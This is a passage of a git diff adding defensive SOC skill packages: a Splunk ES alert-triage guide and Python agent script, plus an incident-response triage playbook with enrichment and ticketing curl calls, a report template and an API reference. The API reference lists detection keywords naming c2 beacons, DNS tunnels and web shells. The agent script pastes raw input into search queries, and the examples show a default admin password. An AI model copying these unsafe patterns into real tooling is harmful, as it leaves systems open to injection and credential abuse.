dashboard, correlation searches, and risk-based alerting +- **Splunk SOAR (Phantom)**: Orchestration platform for automating triage playbooks and enrichment actions +- **Asset & Identity Framework**: Splunk ES lookup tables mapping IPs to asset owners and users to departments for context enrichment +- **Threat Intelligence Framework**: Splunk ES module ingesting STIX/TAXII feeds and matching IOCs against notable events + +## Common Scenarios + +- **Brute Force Alerts**: Correlate EventCode 4625 (failed logon) with 4624 (successful logon) from same source to determine if attack succeeded +- **Malware Detection**: Cross-reference endpoint AV alert with proxy logs for C2 callback confirmation +- **Data Exfiltration Alert**: Check outbound data volume from DLP and proxy logs against user baseline +- **Privilege Escalation**: Correlate EventCode 4672 (special privileges assigned) with 4720 (account created) from non-admin users +- **Lateral Movement**: Map EventCode 4648 (explicit credential logon) across multiple destinations from single source + +## Output Format + +``` +TRIAGE REPORT — Notable Event #NE-2024-08921 +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Alert: Brute Force Access Behavior Detected +Time: 2024-03-15 14:23:07 UTC +Source: 192.168.1.105 (WORKSTATION-042, Finance Dept) +Destination: 10.0.5.20 (DC-PRIMARY, Domain Controller) +User: jsmith (Finance Analyst) + +Investigation: + - 847 failed logons (4625) in 12 minutes from src + - Successful logon (4624) at 14:35:02 after brute force + - No proxy/DNS anomalies from src in prior 24h + - Source not on threat intel lists + +Disposition: TRUE POSITIVE — Compromised credential +Action: Escalated to Tier 2, ticket IR-2024-0431 created + Account jsmith disabled pending password reset +``` diff --git a/skills/cybersecurity/triaging-security-alerts-in-splunk/references/api-reference.md b/skills/cybersecurity/triaging-security-alerts-in-splunk/references/api-reference.md new file mode 100644 index 00000000..d4ae67b1 --- /dev/null +++ b/skills/cybersecurity/triaging-security-alerts-in-splunk/references/api-reference.md @@ -0,0 +1,69 @@ +# API Reference: Triaging Security Alerts in Splunk + +## splunklib (Splunk SDK for Python) + +### Installation +```bash +pip install splunk-sdk +``` + +### Connection +```python +import splunklib.client as client +service = client.connect(host="localhost", port=8089, + username="admin", password="password") +``` + +### Running Searches +```python +# Blocking search (wait for results) +job = service.jobs.create(query, exec_mode="blocking") + +# Parse results +import splunklib.results as results +for result in results.JSONResultsReader(job.results(output_mode="json")): + if isinstance(result, dict): + print(result) +``` + +### Search Parameters +| Parameter | Description | +|-----------|-------------| +| `exec_mode` | `blocking` (wait) or `normal` (async) | +| `earliest_time` | Search time range start (e.g., `-24h`) | +| `latest_time` | Search time range end (e.g., `now`) | +| `output_mode` | `json`, `xml`, or `csv` | + +## Key SPL Commands for Triage + +| Command | Purpose | +|---------|---------| +| `` `notable` `` | Macro to access ES notable events | +| `lookup asset_lookup_by_cidr` | Enrich with asset information | +| `lookup identity_lookup_expanded` | Enrich with identity context | +| `lookup threat_intel_by_ip` | Check IP against threat feeds | +| `tstats` | Fast datamodel statistics | +| `sendalert update_notable_event` | Update notable event status | + +## Notable Event Status Values +| Value | Status | +|-------|--------| +| 0 | Unassigned | +| 1 | New | +| 2 | In Progress | +| 3 | Pending | +| 4 | Resolved | +| 5 | Closed | + +## Disposition Categories +| Disposition | Criteria | +|-------------|----------| +| True Positive | Confirmed malicious activity | +| Benign True Positive | Alert correct but activity authorized | +| False Positive | Benign behavior matched detection logic | +| Undetermined | Insufficient data to classify | + +## References +- Splunk SDK for Python: https://dev.splunk.com/enterprise/docs/devtools/python/sdk-python/ +- Splunk ES notable events: https://docs.splunk.com/Documentation/ES/latest/Admin/Managenotableevents +- SPL reference: https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/ diff --git a/skills/cybersecurity/triaging-security-alerts-in-splunk/scripts/agent.py b/skills/cybersecurity/triaging-security-alerts-in-splunk/scripts/agent.py new file mode 100755 index 00000000..fa29e1e8 --- /dev/null +++ b/skills/cybersecurity/triaging-security-alerts-in-splunk/scripts/agent.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python3 +"""Agent for triaging security alerts in Splunk Enterprise Security.""" + +import splunklib.client as splunk_client +import splunklib.results as splunk_results +import json +import sys +import argparse +from datetime import datetime + + +def connect_splunk(host, port, username, password): + """Connect to Splunk Enterprise instance.""" + try: + service = splunk_client.connect( + host=host, port=port, username=username, password=password, + autologin=True, + ) + print(f"[*] Connected to Splunk {host}:{port}") + return service + except Exception as e: + print(f"[-] Connection failed: {e}") + sys.exit(1) + + +def get_notable_events(service, status="new", limit=50): + """Query notable events from Splunk ES Incident Review.""" + query = f"""| `notable` +| search status="{status}" +| sort - urgency +| table _time, rule_name, src, dest, user, urgency, status, event_id +| head {limit}""" + print(f"\n[*] Fetching notable events (status={status})...") + job = service.jobs.create(query, exec_mode="blocking") + results = [] + for result in splunk_results.JSONResultsReader(job.results(output_mode="json")): + if isinstance(result, dict): + results.append(result) + print(f" [{result.get('urgency', '?')}] {result.get('rule_name', 'Unknown')} " + f"| src={result.get('src', 'N/A')} dest={result.get('dest', 'N/A')}") + print(f"[*] Retrieved {len(results)} notable events") + return results + + +def investigate_brute_force(service, src_ip, hours=1): + """Investigate brute force activity from a source IP.""" + query = f"""search index=wineventlog sourcetype="WinEventLog:Security" EventCode=4625 +src_ip="{src_ip}" earliest=-{hours}h latest=now +| stats count by src_ip, dest, user, status +| where count > 5 +| sort - count""" + print(f"\n[*] Investigating brute force from {src_ip}...") + job = service.jobs.create(query, exec_mode="blocking") + results = [] + for result in splunk_results.JSONResultsReader(job.results(output_mode="json")): + if isinstance(result, dict): + results.append(result) + print(f" {result.get('src_ip')} -> {result.get('dest')} " + f"user={result.get('user')} count={result.get('count')}") + + success_query = f"""search index=wineventlog sourcetype="WinEventLog:Security" EventCode=4624 +src_ip="{src_ip}" earliest=-{hours}h latest=now +| stats count by src_ip, dest, user +| where count > 0""" + success_job = service.jobs.create(success_query, exec_mode="blocking") + for result in splunk_results.JSONResultsReader(success_job.results(output_mode="json")): + if isinstance(result, dict): + print(f" [!] SUCCESSFUL logon: {result.get('user')} on {result.get('dest')}") + return results + + +def correlate_across_sources(service, src_ip, hours=24): + """Correlate alerts across multiple data sources for a given IP.""" + query = f"""search (index=proxy OR index=firewall OR index=dns) src="{src_ip}" earliest=-{hours}h +| stats count by index, sourcetype, action, dest_port +| sort - count""" + print(f"\n[*] Correlating across sources for {src_ip}...") + job = service.jobs.create(query, exec_mode="blocking") + results = [] + for result in splunk_results.JSONResultsReader(job.results(output_mode="json")): + if isinstance(result, dict): + results.append(result) + print(f" {result.get('index')}/{result.get('sourcetype')}: " + f"action={result.get('action')} port={result.get('dest_port')} " + f"count={result.get('count')}") + return results + + +def check_threat_intel(service, indicator, indicator_type="ip"): + """Check an indicator against Splunk ES threat intelligence.""" + field_map = {"ip": "src", "domain": "url", "hash": "file_hash"} + field = field_map.get(indicator_type, "src") + query = f"""| `notable` +| search search_name="Threat*" {field}="{indicator}" +| lookup threat_intel_by_{indicator_type} {indicator_type} AS {field} + OUTPUT threat_collection, threat_description, weight +| table _time, {field}, threat_collection, threat_description, weight +| where weight >= 1""" + print(f"\n[*] Checking threat intelligence for {indicator}...") + job = service.jobs.create(query, exec_mode="blocking") + matches = [] + for result in splunk_results.JSONResultsReader(job.results(output_mode="json")): + if isinstance(result, dict): + matches.append(result) + print(f" [!] TI Match: {result.get('threat_collection', 'Unknown')} " + f"(weight: {result.get('weight', '?')})") + if not matches: + print(" [+] No threat intelligence matches") + return matches + + +def enrich_with_asset_identity(service, src_ip=None, username=None): + """Enrich an alert with asset and identity context.""" + results = {} + if src_ip: + query = f"""| inputlookup asset_lookup_by_cidr +| where cidrmatch(cidr, "{src_ip}") +| table cidr, category, owner, priority, lat, long""" + print(f"\n[*] Enriching asset info for {src_ip}...") + job = service.jobs.create(query, exec_mode="blocking") + for result in splunk_results.JSONResultsReader(job.results(output_mode="json")): + if isinstance(result, dict): + results["asset"] = result + print(f" Asset: {result.get('category', 'Unknown')} " + f"owner={result.get('owner', 'N/A')} priority={result.get('priority', 'N/A')}") + + if username: + query = f"""| inputlookup identity_lookup_expanded +| search identity="{username}" +| table identity, first, last, department, managedBy, email""" + print(f"[*] Enriching identity info for {username}...") + job = service.jobs.create(query, exec_mode="blocking") + for result in splunk_results.JSONResultsReader(job.results(output_mode="json")): + if isinstance(result, dict): + results["identity"] = result + print(f" User: {result.get('first', '')} {result.get('last', '')} " + f"dept={result.get('department', 'N/A')}") + return results + + +def get_triage_metrics(service, days=30): + """Get triage performance metrics.""" + query = f"""| `notable` +| where status_end > 0 +| eval triage_time = status_end - _time +| stats avg(triage_time) AS avg_sec, median(triage_time) AS med_sec, + count by rule_name, status_label +| eval avg_min = round(avg_sec/60, 1) +| sort - count +| head 20 +| table rule_name, status_label, count, avg_min""" + print(f"\n[*] Fetching triage metrics (last {days} days)...") + job = service.jobs.create(query, exec_mode="blocking", + earliest_time=f"-{days}d", latest_time="now") + for result in splunk_results.JSONResultsReader(job.results(output_mode="json")): + if isinstance(result, dict): + print(f" {result.get('rule_name', 'Unknown')}: " + f"{result.get('count', 0)} alerts, avg triage: {result.get('avg_min', '?')} min") + + +def generate_triage_report(notable, correlations, ti_matches, enrichment, output_path): + """Generate a structured triage report.""" + report = { + "triage_date": datetime.now().isoformat(), + "notable_events": notable, + "correlations": correlations, + "threat_intel_matches": ti_matches, + "enrichment": enrichment, + } + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Triage report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="Splunk ES Alert Triage Agent") + parser.add_argument("action", choices=["queue", "investigate", "correlate", "threat-intel", + "enrich", "metrics", "full-triage"]) + parser.add_argument("--host", default="localhost", help="Splunk host") + parser.add_argument("--port", type=int, default=8089, help="Splunk management port") + parser.add_argument("--username", default="admin") + parser.add_argument("--password", required=True) + parser.add_argument("--src-ip", help="Source IP to investigate") + parser.add_argument("--user", help="Username to enrich") + parser.add_argument("--indicator", help="IOC to check against threat intel") + parser.add_argument("--status", default="new", help="Notable event status filter") + parser.add_argument("-o", "--output", default="triage_report.json") + args = parser.parse_args() + + service = connect_splunk(args.host, args.port, args.username, args.password) + + if args.action == "queue": + get_notable_events(service, args.status) + elif args.action == "investigate": + investigate_brute_force(service, args.src_ip) + elif args.action == "correlate": + correlate_across_sources(service, args.src_ip) + elif args.action == "threat-intel": + check_threat_intel(service, args.indicator) + elif args.action == "enrich": + enrich_with_asset_identity(service, args.src_ip, args.user) + elif args.action == "metrics": + get_triage_metrics(service) + elif args.action == "full-triage": + notable = get_notable_events(service, args.status) + corr = correlate_across_sources(service, args.src_ip) if args.src_ip else [] + ti = check_threat_intel(service, args.src_ip) if args.src_ip else [] + enrich = enrich_with_asset_identity(service, args.src_ip, args.user) + generate_triage_report(notable, corr, ti, enrich, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/triaging-security-incident-with-ir-playbook/LICENSE b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/triaging-security-incident-with-ir-playbook/SKILL.md b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/SKILL.md new file mode 100644 index 00000000..0c7c3c69 --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/SKILL.md @@ -0,0 +1,231 @@ +--- +name: triaging-security-incident-with-ir-playbook +description: Classify and prioritize security incidents using structured IR playbooks + to determine severity, assign response teams, and initiate appropriate response + procedures. +domain: cybersecurity +subdomain: incident-response +tags: +- incident-response +- triage +- playbook +- severity-classification +- soc +mitre_attack: +- T1486 +- T1490 +- T1070 +- T1078 +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- RS.MA-01 +- RS.MA-02 +- RS.AN-03 +- RC.RP-01 +--- + +# Triaging Security Incidents with IR Playbooks + +## When to Use +- New security alert received from SIEM, EDR, or other detection sources +- SOC analyst needs to determine if an alert is a true positive requiring response +- Incident needs severity classification and team assignment +- Multiple concurrent incidents require prioritization +- Automated triage rules need validation or tuning + +## Prerequisites +- SIEM platform with alert correlation (Splunk, Elastic, QRadar, Sentinel) +- Incident response playbook library (by incident type) +- Severity classification matrix approved by CISO +- On-call rotation and escalation procedures +- Ticketing system for incident tracking (ServiceNow, Jira, TheHive) +- Threat intelligence feeds for IOC enrichment + +## Workflow + +### Step 1: Receive and Acknowledge Alert +```bash +# Query Splunk for new critical/high severity alerts +index=notable status=new severity IN ("critical","high") +| table _time, rule_name, src, dest, severity, description +| sort -_time + +# Query TheHive for new cases +curl -s -H "Authorization: Bearer $THEHIVE_API_KEY" \ + "https://thehive.local/api/v1/query?name=list-alerts" \ + -H "Content-Type: application/json" \ + -d '{"query":[{"_name":"listAlert"},{"_name":"filter","_field":"status","_value":"New"}]}' + +# Acknowledge alert in SIEM to prevent duplicate triage +curl -X POST "https://splunk.local:8089/services/notable_update" \ + -H "Authorization: Bearer $SPLUNK_TOKEN" \ + -d "ruleUIDs=$RULE_UID&status=1&comment=Triage+initiated+by+analyst" +``` + +### Step 2: Enrich Alert Data +```bash +# Enrich source IP with VirusTotal +curl -s "https://www.virustotal.com/api/v3/ip_addresses/$SRC_IP" \ + -H "x-apikey: $VT_API_KEY" | jq '.data.attributes.last_analysis_stats' + +# Check IP reputation with AbuseIPDB +curl -s "https://api.abuseipdb.com/api/v2/check?ipAddress=$SRC_IP&maxAgeInDays=90" \ + -H "Key: $ABUSEIPDB_KEY" -H "Accept: application/json" | jq '.data' + +# Enrich file hash with threat intelligence +curl -s "https://www.virustotal.com/api/v3/files/$FILE_HASH" \ + -H "x-apikey: $VT_API_KEY" | jq '.data.attributes.last_analysis_stats' + +# Query internal asset database for affected systems +curl -s "https://cmdb.local/api/assets?ip=$DEST_IP" \ + -H "Authorization: Bearer $CMDB_TOKEN" | jq '.asset_criticality, .owner, .environment' +``` + +### Step 3: Classify Incident Type +```bash +# Map alert to incident category using playbook lookup +# Categories: Malware, Phishing, Unauthorized Access, Data Exfiltration, +# DoS/DDoS, Insider Threat, Ransomware, Account Compromise, Web Attack + +# Check if alert matches known playbook trigger conditions +grep -i "$ALERT_SIGNATURE" /opt/ir/playbooks/trigger_conditions.yaml + +# Determine incident type from MITRE ATT&CK technique +curl -s "https://attack.mitre.org/api/techniques/$TECHNIQUE_ID" | jq '.name, .tactic' +``` + +### Step 4: Assign Severity Level +```bash +# Severity matrix factors: +# 1. Asset criticality (Critical/High/Medium/Low) +# 2. Data sensitivity (PII/PHI/PCI/Confidential/Public) +# 3. Number of affected systems +# 4. Active vs historical threat +# 5. Confirmed vs suspected compromise + +# Automated severity calculation +python3 -c " +severity_score = 0 +# Asset criticality: Critical=4, High=3, Medium=2, Low=1 +severity_score += 4 # Critical server +# Data sensitivity: PII/PHI=4, PCI=3, Confidential=2, Public=1 +severity_score += 3 # PCI data +# Scope: Enterprise=4, Department=3, Single system=2, Single user=1 +severity_score += 2 # Single system +# Threat status: Active=4, Recent=3, Historical=2, Potential=1 +severity_score += 4 # Active threat + +if severity_score >= 12: print('CRITICAL - P1') +elif severity_score >= 9: print('HIGH - P2') +elif severity_score >= 6: print('MEDIUM - P3') +else: print('LOW - P4') +print(f'Score: {severity_score}/16') +" +``` + +### Step 5: Select and Initiate Playbook +```bash +# Load appropriate playbook based on incident type +cat /opt/ir/playbooks/ransomware_playbook.yaml +cat /opt/ir/playbooks/phishing_playbook.yaml +cat /opt/ir/playbooks/unauthorized_access_playbook.yaml + +# Create incident ticket in TheHive +curl -X POST "https://thehive.local/api/v1/case" \ + -H "Authorization: Bearer $THEHIVE_API_KEY" \ + -H "Content-Type: application/json" \ + -d '{ + "title": "IR-2024-XXX: [Incident Type] - [Brief Description]", + "description": "Triage summary and initial findings", + "severity": 3, + "tlp": 2, + "pap": 2, + "tags": ["ransomware", "triage-complete"], + "customFields": { + "playbook": {"string": "ransomware_v2"}, + "affected_systems": {"integer": 5} + } + }' +``` + +### Step 6: Assign Response Team +```bash +# Check on-call schedule +curl -s "https://pagerduty.com/api/v2/oncalls?schedule_ids[]=$SCHEDULE_ID" \ + -H "Authorization: Token token=$PD_TOKEN" | jq '.oncalls[].user.summary' + +# Page incident responders based on severity +# P1/Critical: Page IR lead + senior analysts + CISO +# P2/High: Page IR lead + available analysts +# P3/Medium: Assign to next available analyst +# P4/Low: Queue for business hours processing + +curl -X POST "https://events.pagerduty.com/v2/enqueue" \ + -H "Content-Type: application/json" \ + -d '{ + "routing_key": "'$PD_ROUTING_KEY'", + "event_action": "trigger", + "payload": { + "summary": "P1 Security Incident: Ransomware detected on PROD-DB-01", + "severity": "critical", + "source": "SIEM-Splunk", + "custom_details": {"incident_id": "IR-2024-042", "playbook": "ransomware_v2"} + } + }' +``` + +### Step 7: Document Triage Decision and Hand Off +```bash +# Update incident ticket with triage summary +curl -X PATCH "https://thehive.local/api/v1/case/$CASE_ID" \ + -H "Authorization: Bearer $THEHIVE_API_KEY" \ + -H "Content-Type: application/json" \ + -d '{ + "status": "InProgress", + "customFields": { + "triage_analyst": {"string": "analyst_name"}, + "triage_time": {"date": '$(date +%s000)'}, + "severity_justification": {"string": "Critical asset + active threat + PCI data"} + } + }' +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| True Positive | Alert correctly identifying a real security incident | +| False Positive | Alert incorrectly flagging benign activity as malicious | +| Severity Classification | Ranking incident priority based on impact and urgency | +| Playbook Selection | Choosing the appropriate response procedure based on incident type | +| IOC Enrichment | Adding context to indicators from threat intelligence sources | +| Escalation Threshold | Criteria triggering escalation to higher severity or management | +| Triage SLA | Time target for initial assessment (typically 15-30 min for critical) | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| Splunk/Elastic/QRadar | SIEM alert correlation and querying | +| TheHive/SIRP | Incident case management and playbook tracking | +| VirusTotal/AbuseIPDB | IOC reputation and enrichment | +| PagerDuty/OpsGenie | On-call management and alerting | +| MITRE ATT&CK | Technique classification and mapping | +| Cortex XSOAR | SOAR platform for automated triage workflows | + +## Common Scenarios + +1. **Brute Force Alert**: Multiple failed logins from single IP. Enrich IP reputation, check geo-location, verify if account was compromised, assign P3 if unsuccessful. +2. **Malware Detection on Endpoint**: AV/EDR quarantined malware. Verify quarantine success, check for lateral movement, assign P2 if persistence detected. +3. **Suspicious Outbound Traffic**: Large data transfer to unknown external IP. Check if known cloud service, verify data classification, assign P1 if exfiltration confirmed. +4. **Phishing Email Reported**: User reports suspicious email. Extract IOCs, check if others received it, assign P2 if credentials were entered. +5. **Privilege Escalation**: User gained admin rights unexpectedly. Verify if authorized change, check for exploitation, assign P1 if unauthorized. + +## Output Format +- Triage decision document with severity justification +- Incident ticket with assigned playbook and team +- IOC enrichment summary attached to case +- Escalation notification to appropriate stakeholders +- Initial timeline of events from alert data diff --git a/skills/cybersecurity/triaging-security-incident-with-ir-playbook/assets/template.md b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/assets/template.md new file mode 100644 index 00000000..94e21552 --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/assets/template.md @@ -0,0 +1,114 @@ +# Incident Triage Report + +## Alert Information +| Field | Value | +|-------|-------| +| Alert ID | | +| Alert Source | [SIEM/EDR/IDS/Email Gateway] | +| Alert Name/Rule | | +| Alert Time | YYYY-MM-DD HH:MM UTC | +| Triage Analyst | | +| Triage Start Time | YYYY-MM-DD HH:MM UTC | +| Triage End Time | YYYY-MM-DD HH:MM UTC | + +## Alert Details +| Field | Value | +|-------|-------| +| Source IP | | +| Source Hostname | | +| Destination IP | | +| Destination Hostname | | +| Protocol/Port | | +| User Account | | +| File Hash (SHA256) | | +| Domain/URL | | + +## IOC Enrichment Results + +### IP Reputation +| Source | Score | Details | +|--------|-------|---------| +| VirusTotal | /100 | malicious detections | +| AbuseIPDB | % confidence | reports | +| Shodan | | Open ports/services | +| Internal Intel | | Previous incidents | + +### File Hash Reputation +| Source | Score | Details | +|--------|-------|---------| +| VirusTotal | /70+ engines | Family: | +| MalwareBazaar | | Tags: | +| Internal IOC DB | | | + +### Domain Reputation +| Source | Score | Details | +|--------|-------|---------| +| VirusTotal | /100 | | +| URLScan.io | | | +| PassiveTotal | | | + +## Classification + +### Incident Type +- [ ] Malware +- [ ] Ransomware +- [ ] Phishing +- [ ] Unauthorized Access +- [ ] Data Exfiltration +- [ ] DDoS +- [ ] Insider Threat +- [ ] Account Compromise +- [ ] Web Application Attack +- [ ] Privilege Escalation +- [ ] Other: ___________ + +### MITRE ATT&CK Mapping +| Tactic | Technique ID | Technique Name | +|--------|-------------|----------------| +| | | | + +## Severity Assessment + +### Scoring Factors +| Factor | Rating | Score | +|--------|--------|-------| +| Asset Criticality | [Critical/High/Medium/Low] | /4 | +| Data Sensitivity | [PII-PHI/PCI/Confidential/Public] | /4 | +| Threat Status | [Active/Confirmed/Attempted/Recon] | /4 | +| Scope | [Enterprise/Department/System/User] | /4 | +| **Total** | | **/16** | + +### Severity Determination +| Field | Value | +|-------|-------| +| Severity | [Critical/High/Medium/Low] | +| Priority | [P1/P2/P3/P4] | +| Response SLA | [15 min/30 min/2 hours/24 hours] | +| Justification | | + +## Triage Decision +- [ ] **Escalate** - Confirmed incident requiring immediate response +- [ ] **Investigate** - Needs further analysis before confirmation +- [ ] **Monitor** - Suspicious but insufficient evidence; enhanced monitoring +- [ ] **Close - False Positive** - Benign activity; rule tuning recommended +- [ ] **Close - Informational** - Expected/authorized activity + +## Playbook Assignment +| Field | Value | +|-------|-------| +| Selected Playbook | | +| Playbook Version | | +| Assigned Team | | +| Primary Analyst | | +| Backup Analyst | | + +## Initial Actions Taken +- [ ] Alert acknowledged in SIEM +- [ ] IOCs enriched with threat intel +- [ ] Incident ticket created (ID: ___) +- [ ] Playbook initiated +- [ ] Response team notified +- [ ] Stakeholders informed (if P1/P2) + +## Notes +[Additional context, observations, or concerns from triage] diff --git a/skills/cybersecurity/triaging-security-incident-with-ir-playbook/references/api-reference.md b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/references/api-reference.md new file mode 100644 index 00000000..5efcde83 --- /dev/null +++ b/skills/cybersecurity/triaging-security-incident-with-ir-playbook/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Triaging Security Incidents with IR Playbooks + +## Incident Classification Types + +| Type | Keywords | Default Severity | Playbook | +|------|----------|-----------------|----------| +| Malware | trojan, ransomware, c2, beacon | High | malware-infection-playbook | +| Phishing | credential harvest, BEC, spear-phishing | Medium | phishing-response-playbook | +| Data Exfiltration | DLP, dns tunnel, large upload | Critical | data-exfiltration-playbook | +| Unauthorized Access | brute force, lateral movement | High | unauthorized-access-playbook | +| Denial of Service | DDoS, SYN flood, volumetric | High | ddos-response-playbook | +| Insider Threat | policy violation, terminated user | High | insider-threat-playbook | +| Web Attack | SQLi, XSS, web shell, RCE | High | web-attack-playbook | + +## Severity Matrix + +| Context Factor | Severity Override | +|----------------|-------------------| +| Crown jewel system affected | Critical | +| Active exploitation confirmed | Critical | +| Multiple systems (>5) affected | High | +| Single system affected | Medium | +| Reconnaissance only | Low | +| Minor policy 